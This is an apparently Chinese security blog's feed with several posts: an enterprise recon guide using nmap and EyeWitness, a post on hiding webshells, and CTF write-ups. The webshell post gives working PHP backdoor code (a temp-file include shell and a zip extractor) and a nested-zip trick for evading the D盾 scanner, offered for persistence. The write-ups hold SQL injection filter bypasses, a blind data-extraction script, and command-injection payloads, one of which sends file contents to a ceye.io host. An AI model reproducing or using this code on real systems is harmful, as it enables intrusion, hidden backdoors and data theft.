successful"></p><p>利用前面获取到的IP段，可以用nmap，masscan进行端口扫描，这里用到了一个nmap的的模板nmap-bootstrap.xsl，这个模板需要自行下载：<a href="https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl">https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl</a></p><p>nmap -iL ip.txt -sS -T4 -A -sC -oA scanme xsltproc -o scanme.html nmap-bootstrap.xsl scanme.xml<br>（扫描完打开scanme.html文件可能会是xml格式的，使用xsltproc -o scanme.html nmap-bootstrap.xsl scanme.xml进行转换）</p><p><img src="/images/pasted-17.png" alt="upload successful"></p><h2 id="WEB资产识别"><a href="#WEB资产识别" class="headerlink" title="WEB资产识别"></a>WEB资产识别</h2><p>WEB资产识别，使用EyeWitness <a href="https://github.com/FortyNorthSecurity/EyeWitness">https://github.com/FortyNorthSecurity/EyeWitness</a></p><pre><code>python EyeWitness.py -f 目标.txt –web –active-scan –add-http-ports 80,81,88,443,888,2082,2083,3122,4848,6588,7000,7001,7002,7003,8000,8080,8081,8089,8090,8443,8500,8888,9000,9001,9200,9043,9080,10000,10051,50000 –addhttps-ports 443,8443,9043nmap -T4 -iL 目标.txt -oX scan.xml -p 80,81,88,443,888,2082,2083,3122,4848,6588,7000,7001,7002,7003,8000,8080,8081,8089,8090,8443,8500,8888,9000,9001,9200,9043,9080,10000,10051,50000 -Pn --open -npython EyeWitness.py -x scan.xml --web --no-dns --active-scan</code></pre><p><img src="/images/pasted-18.png" alt="upload successful"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;分享一个最近公司大佬教的信息收集技巧感觉挺不错的，适合用于大型企业，护网信息收集&lt;/p&gt;
&lt;h2 id=&quot;子域名收集&quot;&gt;&lt;a href=&quot;#子域名收集&quot; class=&quot;headerlink&quot; title=&quot;子域名收集&quot;&gt;&lt;/a&gt;子域名收集&lt;/h2&gt;&lt;p&gt;使用Sublist3</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>恢复更新啦</title>
    <link href="https://naxg.github.io/2019/07/09/%E6%81%A2%E5%A4%8D%E6%9B%B4%E6%96%B0/"/>
    <id>https://naxg.github.io/2019/07/09/%E6%81%A2%E5%A4%8D%E6%9B%B4%E6%96%B0/</id>
    <published>2019-07-09T13:48:36.000Z</published>
    <updated>2019-07-09T15:23:03.918Z</updated>
    
    <content type="html"><![CDATA[<p>反正没有人看。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;反正没有人看。&lt;/p&gt;
</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>权限维持小技巧</title>
    <link href="https://naxg.github.io/2018/08/05/%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%B0%8F%E6%8A%80%E5%B7%A7/"/>
    <id>https://naxg.github.io/2018/08/05/%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%B0%8F%E6%8A%80%E5%B7%A7/</id>
    <published>2018-08-05T10:41:32.000Z</published>
    <updated>2019-07-09T13:43:42.836Z</updated>
    
    <content type="html"><![CDATA[<h1 id="利用压缩文件来隐藏WEBSHELL"><a href="#利用压缩文件来隐藏WEBSHELL" class="headerlink" title="利用压缩文件来隐藏WEBSHELL"></a>利用压缩文件来隐藏WEBSHELL</h1><p>分享几个用来隐藏WEBSHELL的小技巧。<br>把一句话木马压缩成a.zip文件<br><img src="/images/pasted-10.png"><br>使用D盾扫一下<br><img src="/images/pasted-11.png"><br>重新对a.zip再进行压缩，压缩成11.zip<br><img src="/images/pasted-12.png"><br>这下就识别不了。D盾只对第一层压缩包进行扫描，并不会对压缩包里的压缩包进行扫描,通过这个小技巧我们可以用来隐藏后门。<br>而已D盾还不会对PHP压缩包类进行报毒等操作。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">if(isset($_GET[&#39;zip&#39;]))&#123;</span><br><span class="line">if(isset($_GET[&#39;f&#39;]))&#123;</span><br><span class="line">$zipname&#x3D;$_GET[&#39;zip&#39;];</span><br><span class="line">$f&#x3D;$_GET[&#39;f&#39;];</span><br><span class="line">$zip &#x3D; new ZipArchive; </span><br><span class="line">$res &#x3D; $zip-&gt;open(&quot;$zipname&quot;); </span><br><span class="line">if ($res &#x3D;&#x3D;&#x3D; TRUE) &#123; </span><br><span class="line">$zip-&gt;extractTo(&quot;$f&quot;);</span><br><span class="line">echo &#39;解压成功&#39;;</span><br><span class="line">&#125; else &#123; </span><br><span class="line">echo &#39;failed, code:&#39; . $res; </span><br><span class="line"> &#125; </span><br><span class="line"> $zip-&gt;close(); </span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>只需解压两次即可把shell解压出来。</p><h1 id="利用缓存目录来隐藏shell"><a href="#利用缓存目录来隐藏shell" class="headerlink" title="利用缓存目录来隐藏shell"></a>利用缓存目录来隐藏shell</h1><p>文件上传到缓存目录，在把文件移动到web目录前，利用文件包含来执行代码。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">@$file &#x3D; $_FILES[&#39;file&#39;][&#39;tmp_name&#39;];</span><br><span class="line">if($file !&#x3D; NULL)</span><br><span class="line">@include($file);</span><br><span class="line">echo (&quot;&lt;form method&#x3D;&#39;post&#39; enctype&#x3D;&#39;multipart&#x2F;form-data&#39;&gt;&lt;input name&#x3D;&#39;file&#39; type&#x3D;&#39;file&#39;&#x2F;&gt;&lt;input type&#x3D;&#39;submit&#39; value&#x3D;&#39;上传&#39; &#x2F;&gt;&lt;&#x2F;form&gt;&quot;);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;利用压缩文件来隐藏WEBSHELL&quot;&gt;&lt;a href=&quot;#利用压缩文件来隐藏WEBSHELL&quot; class=&quot;headerlink&quot; title=&quot;利用压缩文件来隐藏WEBSHELL&quot;&gt;&lt;/a&gt;利用压缩文件来隐藏WEBSHELL&lt;/h1&gt;&lt;p&gt;分享几个用来隐藏WE</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>金融行业网络安全比赛WP</title>
    <link href="https://naxg.github.io/2018/08/04/%E9%87%91%E8%9E%8D%E8%A1%8C%E4%B8%9A%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%AF%94%E8%B5%9BWP/"/>
    <id>https://naxg.github.io/2018/08/04/%E9%87%91%E8%9E%8D%E8%A1%8C%E4%B8%9A%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%AF%94%E8%B5%9BWP/</id>
    <published>2018-08-04T13:47:00.000Z</published>
    <updated>2021-04-20T13:23:16.569Z</updated>
    
    <content type="html"><![CDATA[<h1 id="babygit"><a href="#babygit" class="headerlink" title="babygit"></a>babygit</h1><p>从题目名称可以看出这个是git信息泄露的题目。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https:&#x2F;&#x2F;github.com&#x2F;BugScanTeam&#x2F;GitHack</span><br></pre></td></tr></table></figure><p>利用git源码恢复工具进行恢复。<br><img src="/images/pasted-0.png"><br>使用git log命令查看版本信息，然后使用git checkout恢复到上一个版本。<br><img src="/images/pasted-1.png"><br><img src="/images/pasted-2.png"></p><h1 id="speed"><a href="#speed" class="headerlink" title="speed"></a>speed</h1><p>第二题是一道条件竞争漏洞的题目，注册后进入后台只有一个文件上传点，上传正常图片可以上传成功，但是上传.php文件会提示上传文件后缀非法,已删除所以我们要抢在文件被删除前访问才能获得flag。<br><img src="/images/pasted-3.png"></p><h1 id="calculate"><a href="#calculate" class="headerlink" title="calculate"></a>calculate</h1><p><a href="https://xz.aliyun.com/t/2456">https://xz.aliyun.com/t/2456</a><br>修改下源码即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">import requests, re</span><br><span class="line"></span><br><span class="line">def calc(v1, v2, op, s):</span><br><span class="line">    u &#x3D; &quot;http:&#x2F;&#x2F;54.223.83.192:8888&#x2F;cgi-bin&#x2F;calculate.py?&quot;</span><br><span class="line">    payload &#x3D; dict(value1&#x3D;v1, value2&#x3D;v2, op&#x3D;op, source&#x3D;s, t&#x3D;t)</span><br><span class="line">    # print payload</span><br><span class="line">    r &#x3D; requests.get(u, params&#x3D;payload)</span><br><span class="line">    # print r.url</span><br><span class="line">    res &#x3D; re.findall(&quot;&lt;pre&gt;\n&gt;&gt;&gt;&gt;([\s\S]*)\n&gt;&gt;&gt; &lt;\&#x2F;pre&gt;&quot;,</span><br><span class="line">                     r.content)[0].split(&#39;\n&#39;)[1]</span><br><span class="line">    assert (res !&#x3D; &#39;Invalid&#39;)</span><br><span class="line">    return res &#x3D;&#x3D; &#39;True&#39;</span><br><span class="line">    # print r.content</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def check(mid):</span><br><span class="line">    s &#x3D; flag + chr(mid)</span><br><span class="line">    return calc(v1, v2, op, s)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def bin_search(seq&#x3D;xrange(0x20, 0x80), lo&#x3D;0, hi&#x3D;None):</span><br><span class="line">    assert (lo &gt;&#x3D; 0)</span><br><span class="line">    if hi &#x3D;&#x3D; None: hi &#x3D; len(seq)</span><br><span class="line">    while lo &lt; hi:</span><br><span class="line">        mid &#x3D; (lo + hi) &#x2F;&#x2F; 2</span><br><span class="line">        # print lo, mid, hi, &quot;\t&quot;,</span><br><span class="line">        if check(seq[mid]): hi &#x3D; mid</span><br><span class="line">        else: lo &#x3D; mid + 1</span><br><span class="line">    return seq[lo]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">flag &#x3D; &#39;&#39;</span><br><span class="line">v1, v2, op, s , t &#x3D; &#39;x&#39;,&quot;+FLAG&lt;value1+source#&quot;, &quot;+&#39;&quot;, &#39;&#39;,&quot;1a69aa60224a7095ececda5c7c6834fc&quot;</span><br><span class="line"></span><br><span class="line">while (1):</span><br><span class="line">    flag +&#x3D; chr(bin_search() - 1)</span><br><span class="line">    print flag</span><br></pre></td></tr></table></figure><h1 id="babyshop"><a href="#babyshop" class="headerlink" title="babyshop"></a>babyshop</h1><p>随便购买点商品，然后在卖出的时候修改商品数量让它溢出。<br><img src="/images/pasted-4.png"></p><h1 id="Bake-cookies"><a href="#Bake-cookies" class="headerlink" title="Bake cookies"></a>Bake cookies</h1><p>这题从名字可以看出是有关于COOKIE的,从标题看到JWT,JSON Web Token<br><img src="/images/pasted-6.png"><br>进去界面猜测账号密码，使用guest/guest登录成功了…弱口令,进去后抓包看COOKIE。<br><img src="/images/pasted-5.png"><br>明显是JSON Web Token,访问<a href="https://jwt.io去解密/">https://jwt.io去解密</a><br><img src="/images/pasted-7.png"><br>修改为<br>{<br>  “name”: “admin”,<br>  “admin”: “true”<br>}<br>后果COOKIE后提交发现报错信息貌似返回了密钥<br><img src="/images/pasted-8.png"><br>填写上密钥重新生成下提交<br><img src="/images/pasted-9.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;babygit&quot;&gt;&lt;a href=&quot;#babygit&quot; class=&quot;headerlink&quot; title=&quot;babygit&quot;&gt;&lt;/a&gt;babygit&lt;/h1&gt;&lt;p&gt;从题目名称可以看出这个是git信息泄露的题目。&lt;/p&gt;
&lt;figure class=&quot;highlig</summary>
      
    
    
    
    
    <category term="CTF" scheme="https://naxg.github.io/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>南网2018预选赛部分writeup</title>
    <link href="https://naxg.github.io/2018/07/29/%E5%8D%97%E7%BD%912018%E9%A2%84%E9%80%89%E8%B5%9BWP/"/>
    <id>https://naxg.github.io/2018/07/29/%E5%8D%97%E7%BD%912018%E9%A2%84%E9%80%89%E8%B5%9BWP/</id>
    <published>2018-07-29T04:46:00.000Z</published>
    <updated>2018-08-04T19:20:47.403Z</updated>
    
    <content type="html"><![CDATA[<h1 id="绕过看门狗"><a href="#绕过看门狗" class="headerlink" title="绕过看门狗"></a>绕过看门狗</h1><p>一开始拿到链接尝试用and 1=1 来检测注入点，发现有过滤。<br><img src="/images/Snipaste_2018-07-29_13-41-26.png"><br>尝试利用注释+大小写来进行绕过注入拦截。<br><img src="/images/Snipaste_2018-07-29_13-43-55.png"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">检测字段</span><br><span class="line">&#x2F;**&#x2F;Union&#x2F;**&#x2F;Select&#x2F;**&#x2F;1,2,3,4,5#</span><br><span class="line">获取数据库敏感信息，当前数据库为news</span><br><span class="line">&#x2F;**&#x2F;Union&#x2F;**&#x2F;Select&#x2F;**&#x2F;1,database(),user(),version(),5#</span><br><span class="line">获取到一张tb_flag表。</span><br><span class="line">&#x2F;**&#x2F;Union&#x2F;**&#x2F;Select&#x2F;**&#x2F;1,(selEct&#x2F;**&#x2F;table_name&#x2F;**&#x2F;fRoM&#x2F;**&#x2F;infOrmation_schema.tables&#x2F;**&#x2F;whEre&#x2F;**&#x2F;TABLE_SCHEMA&#x2F;**&#x2F;&#x3D;&#x2F;**&#x2F;‘news’&#x2F;**&#x2F;limit&#x2F;**&#x2F;1,1),3,4,5#</span><br><span class="line">获取到tb_flag表只有一个字段</span><br><span class="line">&#x2F;**&#x2F;Union&#x2F;**&#x2F;Select&#x2F;**&#x2F;1,(selEct&#x2F;**&#x2F;table_name&#x2F;**&#x2F;fRoM&#x2F;**&#x2F;infOrmation_schema.tables&#x2F;**&#x2F;whEre&#x2F;**&#x2F;TABLE_SCHEMA&#x2F;**&#x2F;&#x3D;&#x2F;**&#x2F;‘news’&#x2F;**&#x2F;limit&#x2F;**&#x2F;1,1),3,4,5#</span><br><span class="line">获取到flag为flag&#123;1396265adbb760c86475304b98e3f61c&#125;</span><br><span class="line">&#x2F;**&#x2F;Union&#x2F;**&#x2F;Select&#x2F;**&#x2F;1,(selecT&#x2F;**&#x2F;*&#x2F;**&#x2F;frOm&#x2F;**&#x2F;tb_flag&#x2F;**&#x2F;limit 0,1),3,4,5#</span><br></pre></td></tr></table></figure><h1 id="你会ping吗？"><a href="#你会ping吗？" class="headerlink" title="你会ping吗？"></a>你会ping吗？</h1><p>访问Robots.txt 发现index.txt</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php include(&quot;where_is_flag.php&quot;);echo &quot;ping&quot;;$ip &#x3D;(string)$_GET[&#39;ping&#39;];$ip &#x3D;str_replace(&quot;&gt;&quot;,&quot;0.0&quot;,$ip);system(&quot;ping  &quot;.$ip);</span><br></pre></td></tr></table></figure><h2 id="解题方式一"><a href="#解题方式一" class="headerlink" title="解题方式一"></a>解题方式一</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;192.168.5.66&#x2F;?ping&#x3D;&#96;cp where_is_flag.php 520.txt&#96;</span><br></pre></td></tr></table></figure><h2 id="解题方式二"><a href="#解题方式二" class="headerlink" title="解题方式二"></a>解题方式二</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;192.168.5.66&#x2F;?ping&#x3D;&#96;cat where_is_flag.php|sed &#39;s&#x2F;\s&#x2F;qqq&#x2F;g&#39;&#96;.****.ceye.io</span><br></pre></td></tr></table></figure><h1 id="upload"><a href="#upload" class="headerlink" title="upload"></a>upload</h1><p>正常上传一张图片。提示请上传gif图片，猜测这里是检测上传文件头，直接打开一个.php文件在文件开头添加上</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GIF89a</span><br></pre></td></tr></table></figure><p>就能获取flag</p><h1 id="babysql2"><a href="#babysql2" class="headerlink" title="babysql2"></a>babysql2</h1><p>右键查看源码发现source.php</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$id &#x3D; $_GET[&#39;id&#39;]?waf($_GET[&#39;id&#39;]):1;</span><br><span class="line"></span><br><span class="line">function waf($var)&#123;</span><br><span class="line">if(stristr($_SERVER[‘HTTP_USER_AGENT’],‘sqlmap’))&#123;         </span><br><span class="line">    echo &quot;&lt;center&gt;hacker&lt;center&gt;&quot;;</span><br><span class="line">    die();</span><br><span class="line">&#125;</span><br><span class="line">$var &#x3D; preg_replace(‘&#x2F;([^a-z]+)(union|from)&#x2F;i’, ‘&amp;#160;$2’, $var);   </span><br><span class="line">return $var;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">获取数据库名称</span><br><span class="line">\Nunion select 1,group_concat(schema_name),\Nfrom information_schema.schemata--+</span><br><span class="line">获取表</span><br><span class="line">\Nunion select 1,group_concat(table_name),\Nfrom information_schema.tables where TABLE_SCHEMA&#x3D;database()--+</span><br><span class="line">获取字段名称</span><br><span class="line">\Nunion select 1,group_concat(column_name),\Nfrom information_schema.columns  WHERE table_name&#x3D;&#39;flag&#39;--+</span><br><span class="line">获取flag</span><br><span class="line">\Nunion select 1,group_concat(flag),\Nfrom flag--+</span><br></pre></td></tr></table></figure><h1 id="dbappweb-webscan"><a href="#dbappweb-webscan" class="headerlink" title="dbappweb-webscan"></a>dbappweb-webscan</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">index.php?act&#x3D;news&amp;id&#x3D;-1 union select 1,group_concat(column_name),user() from information_schema.columns  WHERE table_name&#x3D;&#39;ctf&#39;--+</span><br><span class="line">index.php?act&#x3D;news&amp;id&#x3D;-1 union select 1,title,content from ctf limit 1,1--+</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;绕过看门狗&quot;&gt;&lt;a href=&quot;#绕过看门狗&quot; class=&quot;headerlink&quot; title=&quot;绕过看门狗&quot;&gt;&lt;/a&gt;绕过看门狗&lt;/h1&gt;&lt;p&gt;一开始拿到链接尝试用and 1=1 来检测注入点，发现有过滤。&lt;br&gt;&lt;img src=&quot;/images/Snipa</summary>
      
    
    
    
    
    <category term="CTF" scheme="https://naxg.github.io/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Hello World</title>
    <link href="https://naxg.github.io/2018/07/28/hello-world/"/>
    <id>https://naxg.github.io/2018/07/28/hello-world/</id>
    <published>2018-07-28T10:38:00.000Z</published>
    <updated>2018-08-04T19:17:57.254Z</updated>
    
    <content type="html"><![CDATA[<p>以前学习过的知识，一段时间不用就会忘记，加上平时没有做笔记的习惯，写这个Blog也是为了记录学习吧。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;以前学习过的知识，一段时间不用就会忘记，加上平时没有做笔记的习惯，写这个Blog也是为了记录学习吧。&lt;/p&gt;
</summary>
      
    
    
    
    
  </entry>
  
</feed>
